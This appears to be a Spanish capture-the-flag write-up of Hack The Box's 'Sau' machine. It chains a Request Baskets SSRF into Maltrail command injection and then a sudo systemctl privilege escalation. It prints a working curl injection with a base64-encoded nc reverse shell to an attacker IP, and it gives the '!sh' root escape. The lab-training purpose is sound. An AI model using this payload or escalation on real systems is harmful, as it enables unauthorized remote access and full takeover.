Entrada

Sau

En este post estaremos resolviendo la máquina Sau de la plataforma Hack The Box. Esta máquina presenta una versión de Request Baskets vulnerable a SSRF (Server Side Request Forgery) identificada como CVE-2023-27163. Al explotar esta vulnerabilidad, logramos acceder a una instancia de Maltrail que es vulnerable a RCE (Remote Command Execution) la cual no requiere autenticación, permitiéndonos obtener una reverse shell en la máquina victima con el usuario puma. Posteriormente, aprovechamos una mala configuración de sudo para escalar nuestros privilegios y obtener un shell como el usuario root.

Reconocimiento

Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Reconocimento usando el comando ping

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live), en este caso 64.

Enumeración

Descubrimiento de puertos abiertos

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

Escaneo de puertos con nmap

Parámetros utilizados:

  • -sS: Realiza un TCP SYN Scan para escanear de manera sigilosa, es decir, que no completa las conexiones TCP con los puertos de la máquina víctima.
  • -p-: Indica que debe escanear todos los puertos (es igual a -p 1-65535).
  • --min-rate 5000: Establece el número mínimo de paquetes que nmap enviará por segundo.
  • -Pn: Desactiva el descubrimiento de host por medio de ping.
  • -vvv: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.
  • -oG: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es un formato grepeable, el cual almacena todo en una sola línea. De esta forma, es más sencillo procesar y obtener los puertos abiertos por medio de expresiones regulares, en conjunto con otras utilidades como pueden ser grep, awk, sed, entre otras.

Como podemos observar, el resultado del escaneo nos presenta 4 puertos. Donde el puerto 22 y 55555 estan abiertos y por otra parte los puertos 80 y 8338 estan filtrados.

Enumeración de versión y servicio

Descubrimiento de versión y servicio con nmap

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos determinados anteriormente.

Parámetros utilizados:

  • -sCV Es la combinación de los parámetros -sC y -sV. El primero determina que se utilizarán una serie de scripts básiscos de enumeración propios de nmap, para conocer el servicio que esta corriendo en dichos puertos. Por su parte, el segundo parámetro permite conocer más acerca de la versión de ese servicio.
  • -p-: Indica que debe escanear todos los puertos (es igual a -p 1-65535)
  • -oN: Determina el formato del archivo en el cual se guardan los resultados obtenidos, junto con el nombre del archivo targeted. En este caso, utiliza el formato por defecto de nmap.
  • -vvv: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.

Solo por motivos de comodidad, agregamos al archivo /etc/hosts el dominio sau.htb para que al apuntar a este nos resuelva la ip de la máquina víctima.

1
echo "10.10.11.224 sau.htb" | tee -a /etc/hosts

Explotación de Request Baskets (SSRF)

Accedemos al sitio web que corre bajo el puerto 55555, podemos ver que la aplicación web es Request Baskets en su versión 1.2.1.

Requests Basktes

Si hacemos una búsqueda un Google, encontramos que esta versión es vulnerable a SSRF (Server Side Request Forgery) CVE-2023-27163, la cual afecta al componente de la api de Request Baskets /api/baskets/{name}. Esto quiere decir, que esta vulnerabilidad permite a los atacantes acceder a recursos de red e información sensible mediante una solicitud API manipulada.

New Baskte

Si creamos una nueva cesta, vemos que en principio esta vacia. Pero si realizamos solicitudes a la url http://sau.htb:55555/kc75t4 como se nos indica, notamos que los detalles de la solicitudes son listados en el panel.

Detalles de solicitud

Vemos también que podemos realizar algunas configuraciones, cambiando opciones como Forward URL.

Si tenemos en cuenta nuestro escaneo inicial de puertos, podemos recordar que el puerto 80 de la máquina victima estaba filtrado. Por lo tanto, podemos probar apuntar a ese puerto de la máquina, indicando como Forward URL el localhost (http://127.0.0.1). También debemos marcar la casilla Proxy Response, para que nos redirija las respuestas desde la URL de reenvío (en este caso el localhost).

Configuración

Si ahora accedemos a la url http://sau.htb:55555/kc75t4, podemos notar que logramos acceder a un sitio web que en principio no teniamos acceso. De esta manera, logramos aprovecharnos de la vulnerabilidad SSRF, para acceder a un sitio interno.

Configuración

Explotación de Maltrail - (RCE)

Podemos apreciar en el pie de página de la web, que lo que esta corriendo bajo el puerto 80 es la aplicación Maltrail en su versión v0.53.

Al investigar un poco sobre Maltrail en esta versión especifica, podemos notar que es vulnerable a RCE (Remote Code Execution) Maltrail v0.53.

Mailtrail v0.53

Reverse Shell - puma

Teniendo en cuenta que la aplicación es vulenrable a RCE, lancemos directamente una reverse shell para ganar acceso al sistema.

En primer lugar, creamos el payload a enviar.

Reverse Shell

Luego, nos ponemos en escucha con nc por el puerto 4444.

Enviamos la reverse shell usando curl.

1
curl http://sau.htb:55555/kc75t4r/login --data 'username=;`echo "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE0LjYyIDQ0NDQgPi90bXAvZgo=" | base64 -d | sh`'

De esta forma, ganamos acceso al sistema como el usuario puma.

Reverse Shell

Hacemos un tratamiento de la tty para tener una terminal más interactiva:

  • script /dev/null -c bash
  • CTRL + Z
  • stty raw -echo; fg
  • reset xterm
  • export TERM=xterm
  • export SHELL=bash
  • stty rows <rows> columns <columns>

Leemos el flag del usuario.

Flag del usuario

Escalación de privilegios

Al realizar una enumeración del sistema, observamos que tenemos la capacidad de ejecución con privilegios sudo sin necesidad de proporcionar contraseña. Esto nos permite utilizar la herramienta systemctl y verificar el estado del servicio trail.service.

Enumeración del sistema

Si realizamos una búsqueda en GTFOBins, podemos ver que se puede abusar de este comando utilizando !sh para obtener un shell.

Escalada de privilegios

Esto sucede, debido a que systemctl utiliza less para mostrar el estado de un servicio.

Escalada de privilegios

Por ultimo, leemos el flag del usuario root.

Flag del usuario root

De esta forma, llegamos al final del Write-up de la máquina Sau.

Espero que los conceptos hayan quedado claros. Si has llegado hasta este punto y aún tienes dudas, te recomiendo volver a realizar la máquina.

Gracias por tu lectura!

Happy Hacking!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.